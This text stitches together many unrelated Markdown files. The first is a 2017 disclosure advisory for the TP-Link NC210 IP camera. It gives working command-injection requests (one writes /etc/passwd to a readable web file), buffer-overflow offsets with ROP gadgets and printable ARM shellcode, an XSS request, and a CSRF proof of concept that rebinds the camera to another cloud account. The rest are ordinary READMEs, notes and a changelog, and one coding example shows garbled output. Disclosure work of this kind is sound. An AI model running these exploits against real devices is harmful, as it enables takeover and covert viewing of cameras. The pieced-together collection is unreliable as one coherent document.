text:
---
layout: post
title: TP-Link NC210 IP Camera - Security Advisory
---

| Vulnerability | TP-LINK NC210 IP-camera (multiple vulnerabilities) |
|:--------------|:---------------------------|
| Discovered by | Robin Stenvi               |
| Release date  | October 1, 2017            |

# Affected products

Only one product has been tested, other products may be affected. The test was
performed on the following:

- TP-LINK Cloud Camera NC210, firmware 1.0.4 Build 160412 Rel.27736

# Severity

Below is a summary of vulnerabilities and risk:

1. Authenticated command injection - run commands as root through the administrative web
interface
1. Buffer overflow - denial-of-service and potentially remote code execution,
one of which is unauthenticated
1. XSS - steal credentials and perform administration of the camera
1. CSRF - hijack the camera and view its feed remotely

# Technical Details

All the vulnerabilities were found in the binary: '/usr/local/sbin/ipcamera'.

## Command Injection

Two command injection vulnerabilities were found, both can be exploited by an
administrative user on the web interface.

### Command injection 1 - settimezone.fcgi

The parameter 'timezone' in the request below is vulnerable to command
injection. The string after ```GMT-``` will be used unfiltered as input to a
command.

~~~
POST /settimezone.fcgi HTTP/1.1
Host: <IP_ADDRESS>
Referer: http://<IP_ADDRESS>/index.html
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 53
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close

timezone=GMT-[;cmd injection;]&area=Europe/Oslo&source=Android
~~~

Simplified pesudocode of what happens on the camera is shown below:

~~~
char* timezone = get_parameter("timezone");
char hours[16];
char gmt[24];
strcpy(hours, timezone + 4);
sprintf(gmt, "GMT-%s", hours);
exec("echo %s > %s", gmt, "/usr/local/etc/TZ");

void exec(char* c, ...)	{
	char cmd[0x400];
	va_list arg;
	va_start(arg, c);
	vsnprintf(cmd, 0x400, c, arg);
	system(cmd);
}
~~~

There is one significant restriction on this vulnerability, the maximum length
of commands is 15 characters (excluding last zero-byte). Although this is a
restriction, it is also a vulnerability as a buffer overflow is triggered if the
string is longer (this is discussed later).

Command injection can be verified by starting a Telnet-server, the full request
can be seen below:

~~~
POST /settimezone.fcgi HTTP/1.1
Host: <IP_ADDRESS>
Referer: http://<IP_ADDRESS>/index.html
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 53
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close

timezone=GMT-;telnetd;&area=Europe/Oslo&source=Android
~~~

It was possible to verify the command with Nmap, however it was not possible to
login. For an unknown reason, the Telnet-server would acknowledge the
TCP-handshake and immediately close the connection.

### Command injection 2 - iperf.cgi

The second command injection is in 'iperf.cgi' and the 'ip'-parameter.

~~~
POST /iperf.fcgi HTTP/1.1
Host: <IP_ADDRESS>
Referer: http://<IP_ADDRESS>/index.html
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 79
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close

op=client&ip=[;cmd injection;]&sec=1&para=1
~~~

Below is a request to read the file '/etc/passwd' and output the data to a
file we can read through the web server.

~~~
POST /iperf.fcgi HTTP/1.1
Host: <IP_ADDRESS>
Referer: http://<IP_ADDRESS>/index.html
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 79
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close

op=client&ip=<IP_ADDRESS>;cat+/etc/passwd>>/usr/local/www/cmd.txt;&sec=1&para=1
~~~

The result indicates that no error occurred.

~~~
HTTP/1.1 200 OK
Content-Type: text/json
Connection: close
Server: lighttpd/1.4.32-devel-27736
Content-Length: 15

{"errorCode":0}
~~~

The result of the command can be retrieved by sending an unauthenticated request
to the web server.

~~~
GET /cmd.txt HTTP/1.1
Host: <IP_ADDRESS>
Referer: http://<IP_ADDRESS>/
Connection: close
~~~

The result contains the hashed password for the root-user.

~~~
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 51
Connection: close
Server: lighttpd/1.4.32-devel-27736

root:$1$$qRPK7m23GJusamGpoGLby/:0:0::/root:/bin/sh
~~~

Pseudocode for the vulnerable parts of the code is shown below:

~~~
char* ip = get_parameter("ip");
char* secStr = get_parameter("sec");
char* paraStr = get_parameter("para");
int sec = atoi(secStr);
int para = atoi(paraStr);
char cmd[0x80];
snprintf(cmd, 0x80, "iperf -c %s -t %d -f m -i 1 -P %d &", ip, sec, para);
system(cmd);
~~~

## Buffer Overflow

Several buffer overflow vulnerabilities were found in the application.

### Buffer Overflow 1 - Document Root

There is one buffer overflow in each of the three HTML-pages accessible in the root-folder.
Each buffer overflow is triggered by a code like this, where DOCUMENT_ROOT is a GET-parameter:

~~~
char vulnerable[64];
sprintf(vulnerable, "%s%s", get_parameter("DOCUMENT_ROOT"), original_path);
~~~

'original_path' can be one of three strings, depending on which function is called:

1. index.html
1. guest.html
1. login.html

Below are the buffers that must be sent in to overwrite all local variables with
user-specified content and
data after that will overwrite stored register R4, frame pointer (FP) and then
program counter (PC).

***NB!*** Note that 11 bytes are appended after the string we send in
and therefore the buffers below will crash the program. The maximum data that
can be sent in without crashing the program is the buffers below minus 11
characters (original_path + null-byte).

~~~
GET /index.html?DOCUMENT_ROOT=[64B][64B][64B][16B][4B][12B]
~~~

~~~
GET /guest.html?DOCUMENT_ROOT=[64B][64B][64B][16B][4B][12B]
~~~

~~~
GET /login.html?DOCUMENT_ROOT=[64B][64B][24B][12B]
~~~

#### Unauthenticated RCE

TL;DR: The vulnerability in login.html can be triggered by an unauthenticated
user. The exploit developed below is a PoC, however because of ASLR, it is
unreliable and will crash the application in most cases.

Since the page 'login.html' can be accessed from an unauthenticated user, this
vulnerability was investigated further. The overflow was tested in gdb and the
following offsets where verified:

~~~
| vulnerable | Other variables | Saved registers  |
|    64B     | 64B | 24B | 8B  | R4 | R11/FP | PC |
~~~

At the end of the function, the following code is executed.

~~~
55958:       e8bd8810        pop     {r4, fp, pc}
~~~

In other words, after 160 bytes we start overwriting saved R4-register, then FP
and finally PC-register which controls execution flow. In terms of exploiting
this, below are the highlights:

1. Stack is executable
2. ASLR is used and affects all parts, except the executable's own executable code,
all these memory addresses contain an initial zero-byte
3. Fast CGI is used and if the FCGI-binary crashes it will not be restarted by
the web server immediately. The FCGI-process is checked and restarted about
every 10 minutes.
4. The pthread-library is used to provide a random stack-location at every
CGI-call.
5. The least random parts of the binary I found where in shared libraries.

Since the location of shared libraries seems most predictable, I decided to use
these for ROP. I looked around on the stack and found the address to the query
string, i.e. everything after '?' in the URL. This value is placed at 'SP +
48'. In other words, if we perform 11 pop operations and then pop PC we
could use that address. The new exploit-URL is shown below:

~~~
GET /login.html?[shellcode]&DOCUMENT_ROOT=[Exploit]
~~~

The necessary code to perform 12 pop operations ending in 'pop pc' was found in
several shared libraries, one is '/lib/libm-<IP_ADDRESS>.so'. The two operations below
make up 12 pop operations where the last pop is program counter.

~~~
2260:       e28dd010        add     sp, sp, #16
2264:       e8bd8f70        pop     {r4, r5, r6, r8, r9, sl, fp, pc}
~~~

We now have a somewhat more reliable location to jump to, however there are some
other considerations:

1. The data in the new shellcode-location is not URL-decoded and therefore we
are limited in which characters we can use. To allow exploitation from JavaScript,
I will limit myself to printable ASCII characters.
2. The memory location we jump to is actually minus 1 of where the shellcode is.
The practical implications of this is that we need to ensure that the null-byte
plus our shellcode does not create any damaging shellcode that breaks our future
code.

Because only printable characters are allowed, this location is not used for the
whole shellcode, but just another jump to the real shellcode. The real shellcode
can be placed in the DOCUMENT_ROOT-parameter. The location of this shellcode after
we have made the second jump is at 'SP - 210'.

An example of how this code can be created with printable characters is shown
below (first two instructions set up thumb mode and is not part of the shellcode):

~~~
$ arm-linux-gnueabi-as -mthumb b_js.s && arm-linux-gnueabi-objdump -d a.out

a.out:     file format elf32-littlearm

Disassembly of section .text:

00000000 <_start>:
   0:	e28f6001 	add	r6, pc, #1
   4:	e12fff16 	bx	r6
   8:	466f      	mov	r7, sp
   a:	3f6e      	subs	r7, #110	; 0x6e
   c:	3f6e      	subs	r7, #110	; 0x6e
   e:	4738      	bx	r7
~~~

We can verify below that this contains no non-printable characters.

~~~
$ perl -e 'print "\x6f\x46\x6e\x3f\x6e\x3f\x38\x47"' | xxd
00000000: 6f46 6e3f 6e3f 3847                      oFn?n?8G
~~~

The final exploit will look like this:

~~~
GET /login.html?AAAoFn?n?8G&DOCUMENT_ROOT=[URL-encoded shellcode + exploit]
~~~

The exploit was verified to work in a debugger, however it will not be stable
unless the attacker knows the offset for the shared library used.

### Buffer Overflow 2 - settimezone.fcgi

The vulnerable parameter is the 'timezone'-parameter shown below. The
maximum number of bytes that can be sent in before crashing the program is 19 bytes, when
sending in 20 bytes, the program crashes.

~~~
POST /settimezone.fcgi HTTP/1.1
Host: <IP_ADDRESS>
Referer: http://<IP_ADDRESS>/index.html
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 61
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close

timezone=[20B]&area=Europe/Oslo&source=Android
~~~

Pseudocode of the vulnerable parts were shown above, but is also included below:

~~~
char vulnerable[16];
char* timezone = get_parameter("timezone");
strcpy(vulnerable, (timezone + 4));
~~~

## Cross-Site-Scripting (XSS)

The same vulnerability that causes the buffer overflow in 'index.html' and
'guest.html' can be used to trigger an XSS-vulnerability. The buffer the data
is copied into can hold 64 bytes and after that, the data is copied into the user password
which is printed back to the web page. The vulnerability is shown in the request
below.

~~~
GET /index.html?DOCUMENT_ROOT=[64B]'> HTTP/1.1
~~~

A full example is also shown below:

~~~
GET /index.html?DOCUMENT_ROOT=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	'> HTTP/1.1
Host: <IP_ADDRESS>
Referer: http://<IP_ADDRESS>/index.html
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close
~~~

The request above returns a response like below:

~~~
HTTP/1.1 200 OK
Content-Type: text/html
Connection: close
Server: lighttpd/1.4.32-devel-27736
Content-Length: 222

index.html'>

~~~

The exploit was verified to work in Firefox.

## Cross-Site-Request-Forgery (CSRF)

The camera can be connected to a cloud-account where it's possible to view the
camera's feed remotely. In the local admin interface it is possible to change
which account the camera should be connected to. The request to connect the
camera to a different account has no CSRF-protection and can therefore be
performed from a different domain.

The exploit is divided into two steps:

1. Unbind the camera from current account.
1. Connect camera to own account.

The HTTP-request to remove current account access to camera is shown below:

~~~
POST /cloud.fcgi HTTP/1.1
Host: <IP_ADDRESS>
Referer: http://<IP_ADDRESS>/index.html
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 14
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close

command=unbind
~~~

The HTTP-request to connect camera feed to an account is shown below. Below is a
description of the parameters:

1. 'username' and 'password' must belong to a valid account registered
at http://www.tplinkcloud.com/
1. 'cameraname' should contain the name chosen when first configuring the
camera, however the parameter can be removed.
1. 'token' is a random token, presumably for CSRF protection, however it is
not verified on the server. The token
parameter must be present in the request, but it can be set to an empty value
and the request will still be valid.

~~~
POST /cloud.fcgi HTTP/1.1
Host: <IP_ADDRESS>
Referer: http://<IP_ADDRESS>/index.html
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 73
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close

command=bind&username=[email]&password=[password]&cameraname=[camera name]
	&token=[random token]
~~~

Without 'cameraname' and 'token' there are not other random or
unpredictable elements in the form and therefore we are able to create a valid
request from a different web site.

A simple PoC to unregister the account and then register a different account
is shown below. The exploit is divided into three pages:

1. ```index.html``` - Create iframes for the other two requests
1. ```unregister.html``` - Perform request to unregister the current account. If no
account is registered, nothing will happen.
1. ```register.html``` - Register a new account.

~~~HTML
<!DOCTYPE html>

~~~

~~~HTML
<!DOCTYPE html>

<form method="POST" action="http://<IP_ADDRESS>/cloud.fcgi" id="unregister">
  <input type="text" name="command" value="unbind">
</form>

~~~

~~~HTML
<!DOCTYPE html>

<form method="POST" action="http://<IP_ADDRESS>/cloud.fcgi" id="register">
  <input type="text" name="command" value="bind">
  <input type="text" name="username" value="[email]">
  <input type="text" name="password" value="[password]">
  <input type="text" name="token" value="">
</form>

~~~

After visiting the exploit hosted at 'http://<IP_ADDRESS>/', the following
requests and responses are generated.

***Unregister***

~~~
POST /cloud.fcgi HTTP/1.1
Host: <IP_ADDRESS>
Referer: http://<IP_ADDRESS>/unregister.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close

command=unbind
~~~

~~~
HTTP/1.1 200 OK
Content-Type: text/json
Content-Language: en
Connection: close
Date: Wed, 26 Jul 2017 12:55:38 GMT
Server: lighttpd/1.4.32-devel-27736
Content-Length: 39

{"errorCode":0, "status":3, "binded":0}
~~~

***Register***

~~~
POST /cloud.fcgi HTTP/1.1
Host: <IP_ADDRESS>
Referer: http://<IP_ADDRESS>/register.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close
Upgrade-Insecure-Requests: 1

command=bind&username=[email]&password=[password]&token=
~~~

~~~
HTTP/1.1 200 OK
Content-Type: text/json
Connection: close
Server: lighttpd/1.4.32-devel-27736
Content-Length: 39

{"errorCode":0, "status":2, "binded":1}
~~~

Transfer of the camera can be verified by authenticating to the account
at https://www.tplinkcloud.com. The camera will now show up under the list of
devices. From here it is also possible to view a live stream from the camera.

# Timeline

- 30\. July, 2017 - Vendor is contacted via web form for security vulnerabilities
- 2\. August, 2017 - No response is provided by the vendor within the 1-3 days
promised and vendor is contacted via chat for tech support. Full advisory is
sent via email.

- 15\. August, 2017 - No confirmation or response recceived from vendor, vendor
is contacted again to confirm receipt of the report.
- 15\. August, 2017 - Vendor confirms receipt of the report
- 15\. August, 2017 - Vendor is contacted to clarify whether they intend to fix
reported issues
- 20\. August, 2017 - No response is received and vendor is contacted again to
clarify whether they intend to fix reported issues
- 21\. August, 2017 - Vendor confirms that they do not intend to fix reported
issues as they claim those vulnerailities are not in the in the camera.
- 21\. August, 2017 - Vendor is notified of public disclosure
- 21\. August, 2017 - Vendor responds with confirmation that they do intend to
fix the vulnerabilities.
- 22\. August, 2017 - Vendor provides beta firmware for testing
- 23\. August, 2017 - Vendor is notified that only half the vulnerabilities has
been patched.
- 25\. August, 2017 - Vendor confirms receipt of new report
- 30\. August, 2017 - Vendor provides new beta firmware for testing
- 4\. September, 2017 - Vendor is notified that the flaws have seemingly been fixed
- 1\. October, 2017 - Public disclosure


text:
decafn8
=======

decafjs core running on top of nashorn

decafn8 is a JavaScript framework for implementing command line programs using the Nashorn JavaScript runtime for the JVM in Java 8.

JavaScript on the JVM has a number of benefits over using a JavaScript runtime implemented for browsers:

1. The JVM has a considerable number of man years of research and development applied to it and it is ongoing.  When they make things smaller/faster/better for the JVM, it benefits everything that uses the JVM - including JavaScript.  JavaScript is compiled into JVM byte codes and the JVM then applies its well tested JIT algorithms to it, gaining near machine language speeds.

2. For every computing problem, there is a solution for it in Java.  Many times, the Java implementation of some library will be superior to what you might cobble together from other sources - see Apache Lucene.  When JavaScript runs in the JVM, it has access to every core Java class, as well as any Java classes on your CLASSPATH.  Simply put, the Java ecosystem is the richest and most robust of any language, and all of it is trivially available to JavaScript programs.

3. The JVM features native threads.  This means that multiple JVM threads can be executing in the same JavaScript context concurrently.  Since threads are not part of the ECMA standards, JavaScript engines for the browser have not been implemented to support threads, nor are they likely to in the foreseable future.

license: MIT

branch_name: refs/heads/master

extension: md

license_type: permissive


text:
# Community components

In addition to the standard components available in MJML, our awesome community is contributing by creating their own components.

To use a community component, proceed as follows:
- Install MJML locally with `npm install mjml` in a folder
- Install the community component with `npm install {component-name}` in the same folder
- Create a `.mjmlconfig` file in the same folder with:

```
{
  "packages": [
    "component-name/path-to-js-file"
  ]
}
```

Finally, you can now use the component in a MJML file, for example `index.mjml`, and run MJML locally in your terminal (make sure to be in the folder where you installed MJML and the community component): `./node_modules/.bin/mjml index.mjml`.

repository: rickytranmer/mjml

gha_language: JavaScript

gha_license_id: MIT

repo_name: rickytranmer/mjml


text:
## Resize mobile assets

Bash scripts for resizing *Android* and *iOS* images assets.

- `resize-android.sh` for Android drawables (LDPI to XXXHDPI)
- `resize-android-icon.sh` for Android product icons (i.e. launcher icons)
- `resize-ios.sh` for iOS assets (@1x to @3x)
- `resize-ios-icon.sh` for iOS and iWatch app icons

Additional tools:

- `grid-android.sh` overlays Android gridlines over layout images and saves the output as a new file

## Instructions

Run each script without parameters to display usage instructions, e.g. `./resize-android.sh`.

## Requirements

ImageMagick has to be installed and present in the PATH in order to use these scripts. Please see OS-specific instructions on how to do that.

## Credits

- Pawpaw ([ios-icon-generator](https://github.com/smallmuou/ios-icon-generator))

## License

This script is licensed under the terms of the MIT license.

repository: orthopteroid/resize-mobile-assets

repo_name: orthopteroid/resize-mobile-assets


text:
# Geoglossum Pers. GENUS

#### Status
ACCEPTED

#### According to
The Catalogue of Life, 3rd January 2011

#### Published in
Neues Mag. Bot. 1: 116 (1794)

#### Original name
Geoglossum Pers.

### Remarks
null

repository: mdoering/backbone

repo_name: mdoering/backbone


text:
# Run-Length Encoding

Given a string containing lower case characters only, compress the string using Run-Length Encoding.

### Example:
```
Input: s = "aaaaaaaaaaaaabbc"
Output: "9a4a2b1c"
```

### Constraints:
- string consists of lower case characters only

### Complexities:
O(N) Time
O(N) Space

path: /String/Run-Length Encoding/README.md

branch_name: refs/heads/main


text:
# Meeting Notes July 17, 2019

Secretary: Brian Cipriano

Attended: Matt Chambers, Brian Cipriano, Greg Denton, Benjamin Dines, John Mertic, Alex Schworer

- New TSC members
  - Alex approved, no objections
  - Alan couldn't make it this week
- ASWF transfer update
  - Repos fully transferred, CLA system up and functioning
  - Added a PR template to walk contributors through the few steps
  - Need to update CONTRIBUTING file next
  - CI system set up on Azure Pipelines
    - Slow (25min) due to lack of Docker cache. Still an improvement over the current flaky
      Jenkins setup. More work to be done over next few days to speed this up.
    - Public project owned by Brian, to be transferred to the ASWF at some point in the future
      once shared infrastructure is established.
    - For now if you want access, create a Microsoft account if you don't have one then send
      Brian the email associated with that account.
  - Copyrights still need to be updated, waiting on that.
- Current work:
  - Brian:
    - CI migration as described above, most done but hopefully some improvements to be made
      to build time.
    - CII badge up next
  - Greg:
    - Limits, for licensing etc. PRs out now.
    - Plugins, similar to department tasks but not tied to Track It. Way to add in hooks to scheduler events. Python execution. Might be good to circulate a simple design doc first.
  - Matt:
    - 4 PRs out, combination of code cleanups.
    - Can we remove Oracle and switch to Postgres-only?
      - Let's keep Oracle code for now and unblock Matt's other work
      - We might be able to run some embedded Oracle db for tests if it's going to stay around for a while
    - Scheduler rewrite proposal in progress. Brian to reshare deck
- Siggraph events
  - Birds of a Feather (Tues)
    - Reviewed draft agenda
    - Any past experience? Things that worked well / not so well?
    - OpenTimelineIO had a good presentation last year
    - Existing draft sounds good — present project history first then open the floor
  - TSC meeting (Wed)
    - Roadmap discussions

repository: AcademySoftwareFoundation/OpenCue

gha_language: Python

repo_name: AcademySoftwareFoundation/OpenCue


text:
## Changelog

### v0.6.0 (20/9/2020)

#### Highlights

- Support new methods [H3DNet](https://arxiv.org/abs/2006.05682), [3DSSD](https://arxiv.org/abs/2002.10187), [CenterPoint](https://arxiv.org/abs/2006.11275).
- Support new dataset [Waymo](https://waymo.com/open/) (with PointPillars baselines) and [nuImages](https://www.nuscenes.org/nuimages) (with Mask R-CNN and Cascade Mask R-CNN baselines).
- Support Batch Inference
- Support Pytorch 1.6
- Start to publish `mmdet3d` package to PyPI since v0.5.0. You can use mmdet3d through `pip install mmdet3d`.

#### Backwards Incompatible Changes

- Support Batch Inference (#95, #103, #116): MMDetection3D v0.6.0 migrates to support batch inference based on MMDetection >= v2.4.0. This change influences all the test APIs in MMDetection3D and downstream codebases.
- Start to use collect environment function from MMCV (#113): MMDetection3D v0.6.0 migrates to use `collect_env` function in MMCV.
`get_compiler_version` and `get_compiling_cuda_version` compiled in `mmdet3d.ops.utils` are removed. Please import these two functions from `mmcv.ops`.

#### Bug Fixes

- Rename CosineAnealing to CosineAnnealing (#57)
- Fix device inconsistant bug in 3D IoU computation (#69)
- Fix a minor bug in json2csv of lyft dataset (#78)
- Add missed test data for pointnet modules (#85)
- Fix `use_valid_flag` bug in `CustomDataset` (#106)

#### New Features

- Support [nuImages](https://www.nuscenes.org/nuimages) dataset by converting them into coco format and release Mask R-CNN and Cascade Mask R-CNN baseline models (#91, #94)
- Support to publish to PyPI in github-action (#17, #19, #25, #39, #40)
- Support CBGSDataset and make it generally applicable to all the supported datasets (#75, #94)
- Support [H3DNet](https://arxiv.org/abs/2006.05682) and release models on ScanNet dataset (#53, #58, #105)
- Support Fusion Point Sampling used in [3DSSD](https://arxiv.org/abs/2002.10187) (#66)
- Add `BackgroundPointsFilter` to filter background points in data pipeline (#84)
- Support pointnet2 with multi-scale grouping in backbone and refactor pointnets (#82)
- Support dilated ball query used in [3DSSD](https://arxiv.org/abs/2002.10187) (#96)
- Support [3DSSD](https://arxiv.org/abs/2002.10187) and release models on KITTI dataset (#83, #100, #104)
- Support [CenterPoint](https://arxiv.org/abs/2006.11275) and release models on nuScenes dataset (#49, #92)
- Support [Waymo](https://waymo.com/open/) dataset and release PointPillars baseline models (#118)
- Allow `LoadPointsFromMultiSweeps` to pad empty sweeps and select multiple sweeps randomly (#67)

#### Improvements

- Fix all warnings and bugs in Pytorch 1.6.0 (#70, #72)
- Update issue templates (#43)
- Update unit tests (#20, #24, #30)
- Update documentation for using `ply` format point cloud data (#41)
- Use points loader to load point cloud data in ground truth (GT) samplers (#87)
- Unify version file of OpenMMLab projects by using `version.py` (#112)
- Remove unnecessary data preprocessing commands of SUN RGB-D dataset (#110)

### v0.5.0 (9/7/2020)

MMDetection3D is released.


text:
# EVENTOS

Currently EVENTOS APP is an implementation of PHP 7 project with support for PHP/APACHE/HTML5/JQUERY as front end

## Background
The next stack has been used into JAX-RS service

- MEDOO
- JQUERY 3.1
- HTML 5
- PHP 7
- MARIA DB/ MYSQL
- APACHE

## Notes for development
Its recommended  use the next work directories

-  app
    - application
        -  /config to add change CONSTANTS and important CONFIG
        -  /controller to add interactivity between routes and controllers
        -  /core  to maintenance the principal configuration of project
        -  /libs  to add more libraries or php files into core
        -  /repository to add services bus that would be used by controllers
        -  /view to add files html
    -  public
           /assets to add javascript and css libraries

## Config Database Conection
Its recommended to use the next file `application/config/config.php` and set the next constants

- DB_HOST = your host/server
- DB_NAME = your database name
- DB_USER = your database user
- DB_PASS  = your database password
```php
define('DB_HOST', 'host');
define('DB_NAME', 'name');
define('DB_USER', 'user');
define('DB_PASS', 'password');
````

## Currently this project supports

- TEMPLATING
- BOOSTRAP 4
- PHP 7.1
- APACHE 2
- ACE-ADMIN

## BUILD
you can use buldAndRun.sh to  download/build/run changes from git repository

## RUN
Use docker compose.yml  to RUN Service ,   use this image for RUN Service      image: hub.yourhub.com/eventos:${beta}  or ${latest}
```yaml
version: '3'
services:
  sgp-monitor:
    image: hub.yourhub.com/eventos:${beta}
    container_name: eventos_docker
    environment:
      LOG_STDERR: "false"
      LOG_LEVEL: ""
      SGP_API_LINK: "write your hub here"
    ports:
      - "8080:80"
    volumes:
      - "./var/log/httpd:/var/log/httpd"
```

repository: vicentesuc/admin

repo_name: vicentesuc/admin


text:
---
title: GraphQL Best Practices
date: '2019-01-11T16:00:00.284Z'
image: "gql.png"
author: Tomek
---

## Graphs, graphs everywhere!

Graphs are powerful tools for modeling complicated structures. In [GraphQL](https://graphql.org/) you model your business model as a graph by defining a schema, then within your [GraphQL schema](https://graphql.org/learn/schema/), you define different types of nodes and how they relate with other nodes. This creates a well-known pattern (Object-Oriented Programming) on the client side. Think of your [GraphQL schema](https://www.apollographql.com/docs/graphql-tools/generate-schema.html) as a common language spoken by your business team, development team as well as your users. Defining your schema is a crucial thing for the GraphQL project. Since GraphQL only defines the interface you have the freedom to use it with any backend.

There are plenty of tools and extensions helping with its creation, among them our [Visual GraphQL Editor](https://graphqleditor.com/).

![Think in graphs](graphs.jpg)

## Authorization

Authorization is a type of business logic that describes whether a given user, session or context has permission to perform some action or read data. Defining authorization logic inside the resolver is fine when prototyping, however, you should delegate authorization logic to the business logic layer for production. It's recommended having a single source of truth for authorization instead of a token or API key, this allows better handling of authorization and authentication in different stages of the request processing pipeline.

## Caching

Caching is an integral part of the HTTP specification. Because of the way GraphQL operates, it does not follow the HTTP specification for caching and instead uses a single endpoint, so it is up to the developer to make sure that caching is implemented properly for non-mutable queries. Fortunately, there are some libraries that can help GraphQL solve this problem like [Apollo](https://www.apollographql.com/) or [FlacheQL](http://www.flacheql.io/). You can read more about them in [GraphQL vs REST - Caching](https://blog.graphqleditor.com/grapqhl-vs-rest-caching/) blog post.

![Caching in GraphQL](cache.jpeg)

## Pagination

A common practice in GraphQL is to trace the interactions between sets of objects. There are many ways in which these dependencies can be disclosed. In GraphQL we could do pagination as:
- `friends(first:2 offset:2)` to ask for the next two on the list.
- `friends(first:2 after:$friendId)`, to ask for the next two after the last friend we fetched.
- `friends(first:2 after:$friendCursor)`, where we get a cursor from the last item and use that to paginate.

Different pagination models enable different client capabilities

repository: graphql-editor/graphql-blog

repo_name: graphql-editor/graphql-blog


text:
# Server error code table {#reference_f5t_jnn_12b .reference}

|Error code|Description|HTTP status code|
|----------|-----------|----------------|
|ServiceUnavailable|The request has failed due to a temporary failure of the server.|503|
|InternalError|The request processing fails due to some unknown error, exception or. failure.|500|

url: https://raw.githubusercontent.com/BoobooWei/mysql/ab57fd707a304fef514c395afe35966a34c9b8b9/intl.en-US/API Reference/API Reference/Appendix/Server error code table.md

repository: BoobooWei/mysql

filename: Server error code table.md

repo_name: BoobooWei/mysql


text:
## BLM Things
## List of BLM things to handle, with notes below completed or in-progress features
## Please try to keep this up to date, so there's a quick summary of what's in and what still needs work

Letting procs drop

Clipping gcds. Include fast-cast B3/F3
- Clipping/weaving checks are in for Triple and Procs
- TODO: Fast-cast F3/B3 weaving
- done.
- TODO: Add exceptions for Addle, Apoc, Shift, maybe Lucid
- done.
- TODO: Add exception for Eno in opener
- done.

Downtime between casts

Ending ice with hard thunder
- NOTE: May be able to cover this with FireCounter module
- T3inUI.js keeps track of that but not if F4s are being lost because of it.
- RotationWatchdog does both things now, so done.

Skipping B4 and getting less than 5 F4 next rotation
- incuclded in RotationWatchdog

Not getting 6+ F4 per rotation with B4
- Basic check for 6 F4 per rotation (8 with Convert) is in
- TODO: Add previous ice phase info to show bad T3 usage better
- done. Is included in RotationWatchdog
- TODO: Ignore phase-ending or battle-ending rotations
- added a suggestion for missing F4s due to B4 usage

Be fancy and analyze last rotations before phase/fight end to determine of skipping B4 previous rotation would have been a gain
- is added for the last Fire rotation at least if you actually end in AF and shows how many F4s you missed due to B4 usage.

Extraneous F1s per rotation
- is added now

Missing Sharp or Triple uses
- is added for all OGCDs

Missing LL uses. Ideally based on fight duration and inactive fight segments
- also added.

LL vs Circle of Power buff comparison
- added under LeyLines. It gives you the percentage of how long you've been in the circle.

Scathe use outside of finishers

Overwritten or missing Fouls
- is in and should also work. More testing is appreciated.
- also added tracking of dropped fouls due to dropping eno

Missing aoe buffs compared to party

Eno dropping
- is in and should work. Needs probably more testing but I got rid of all the bugs I found

T4/T4p hitting 2 or less targets

Foul or Flare hitting 1 target when 2+ are active and in proximity

Custom proc icons for Firestarter and Thundercloud usage?
- Added to Rotation view
- TODO: General Rotation/Timeline support for job-specific display is planned

repository: Jessidhia/xivanalysis

repo_name: Jessidhia/xivanalysis


text:
# LCOM_TPs
Labs and project developed in LCOM - 2019/20 (Computer Laboratory - 2nd year of the Integrated Master Degree in Computer Engineering)

## Course Information

* All the course's information can be viewed [here](https://sigarra.up.pt/feup/en/UCURR_GERAL.FICHA_UC_VIEW?pv_ocorrencia_id=436435).

## Authors

* **Miguel Pinto** - [MiguelDelPinto](https://github.com/MiguelDelPinto)
* **Francisco Gonçalves** - [kiko-g](https://github.com/kiko-g)

## Grades

* **Lab 2:** 100/100

* **Lab 3:** 97/100

* **Lab 4:** 93/100

* **Lab 5:** 91/100

* **Project:** 19.5/20

* **Final grade:** 20


text:
Integration test for Jenkins WAR with bundled plugins
=====================================================

The test uses [Custom WAR Packager](https://github.com/jenkinsci/custom-war-packager) as a tool to build a custom WAR.
It basically implements a smoke test for the [JENKINS-57935](https://issues.jenkins-ci.org/browse/JENKINS-57935) fix
which is related to improper `groupId` resolution for optional dependencies.

Running locally:

```
    make test
```

repository: bitwiseman/plugin-compat-tester

repo_name: bitwiseman/plugin-compat-tester


text:
# @turf/shortest-path

<!-- Generated by documentation.js. Update this documentation by updating the source code. -->

## shortestPath

Returns the shortest [path](http://geojson.org/geojson-spec.html#linestring) from [start](http://geojson.org/geojson-spec.html#point) to [end](http://geojson.org/geojson-spec.html#point) without colliding with
any [Feature](http://geojson.org/geojson-spec.html#feature-objects) in [ obstacles](FeatureCollection<Polygon>)

**Parameters**

-   `start` **Coord** point
-   `end` **Coord** point
-   `options` **[Object](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object)** optional parameters (optional, default `{}`)
    -   `options.obstacles` **([Geometry](http://geojson.org/geojson-spec.html#geometry) \| [Feature](http://geojson.org/geojson-spec.html#feature-objects) \| [FeatureCollection](http://geojson.org/geojson-spec.html#feature-collection-objects)<[Polygon](http://geojson.org/geojson-spec.html#polygon)>)?** areas which path cannot travel
